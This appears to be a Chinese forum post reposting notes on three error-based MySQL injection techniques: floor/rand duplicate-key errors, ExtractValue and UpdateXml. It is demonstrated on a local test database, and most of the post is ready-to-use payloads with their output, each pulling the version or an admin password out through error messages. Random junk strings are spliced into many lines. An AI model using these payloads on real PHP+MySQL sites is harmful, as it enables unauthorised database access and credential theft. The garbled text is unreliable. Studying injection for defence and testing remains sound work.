关于Mysql注入过程中的三种报错方式

admin

放点原来的笔记，Mysql在执行语句的时候会抛出异常信息信息，而php+mysql架构的网站往往又将错误代码显示在页面上，这样可以通过构造如下三种方法获取特定数据。
5 Z; D5 j- B7 \3 a$ Q& b% ]4 U$ B实际测试环境：
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mysql> show tables;
+----------------+
| Tables_in_test |
+----------------+
% Q* r. ^+ I1 {0 Y& ^, _% [# r| admin          |
2 G+ }+ X$ l0 S6 F| article        |
+----------------+



  e; w- V7 m; X5 `) `' z5 Jmysql> describe admin;
+-------+------------------+------+-----+---------+----------------+
0 ^6 }9 P, \+ G7 J6 o; u0 N( v9 l| Field | Type             | Null | Key | Default | Extra          |
* G. F- M5 x6 I$ K  Y5 Z; T+-------+------------------+------+-----+---------+----------------+
| id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
- E" x. m; i; U9 Q2 F9 {- G| user  | varchar(50)      | NO   |     | NULL    |                |
$ P8 p" s1 u" r/ \; g| pass  | varchar(50)      | NO   |     | NULL    |                |
+-------+------------------+------+-----+---------+----------------+
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mysql> describe article;
- V1 T5 f1 f& \$ Z/ W$ P% K2 W, X+---------+------------------+------+-----+---------+----------------+
| Field   | Type             | Null | Key | Default | Extra          |
6 C  s* M" ~1 s; z( Q+---------+------------------+------+-----+---------+----------------+
3 m: [! @1 y: V6 E& V& L* Q| id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
| title   | varchar(50)      | NO   |     | NULL    |                |
| content | varchar(50)      | NO   |     | NULL    |                |
+---------+------------------+------+-----+---------+----------------+
5 ]! y$ F! B' P( \7 Y3 j% G7 h1、通过floor报错
可以通过如下一些利用代码


1 Q. t5 a# V! J5 @. Rand select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
from information_schema.tables group by x)a);
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and (select count(*) from (select 1 union select null union select !1)x
group by concat((select table_name from information_schema.tables limit 1),
floor(rand(0)*2)));
! D5 V% V  X) k5 \4 h$ M6 a- U2 B举例如下：
# S0 U& a; n/ r% b% d% {3 I首先进行正常查询：
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mysql> select * from article where id = 1;
+----+-------+---------+
, N0 {8 ~- R1 q# A| id | title | content |
+----+-------+---------+
|  1 | test  | do it   |
+----+-------+---------+
1 O1 Q' _' N3 x+ g9 l假如id输入存在注入的话，可以通过如下语句进行报错。

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mysql> select * from article where id = 1 and (select 1 from
(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
* m5 o  x* a* ?7 @& lERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
3 }0 u& Z: g& v: H, n4 G可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
4 ^$ T2 Q0 P6 M3 ?6 W例如我们需要查询管理员用户名和密码：
/ s( |7 H8 ^: uMethod1:


mysql> select * from article where id = 1 and (select 1 from
(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
Method2:


mysql> select * from article where id = 1 and (select count(*)
( I6 Q& L' W( F7 pfrom (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
floor(rand(0)*2)));
6 k  e0 q- {3 ?" nERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
2、ExtractValue
测试语句如下


and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
实际测试过程
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mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
, g( u/ E. H2 H0 H3 T* A* K& E(select pass from admin limit 1)));--
ERROR 1105 (HY000): XPATH syntax error: '\admin888'
  ~! H  v" [1 D3、UpdateXml
* f' F- _6 ^' {# [5 W+ t" w% U0 e测试语句
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$ t% X" ^5 k) f2 s2 ?# uand 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
% E+ r6 s4 l8 G6 L" o6 C# g- q实际测试过程


+ t. \, v1 Y4 |% i8 }. k) emysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
(select pass from admin limit 1),0x5e24),1));
ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
! j5 s' w! m5 t$ H' P0 V, XAll, thanks foreign guys.

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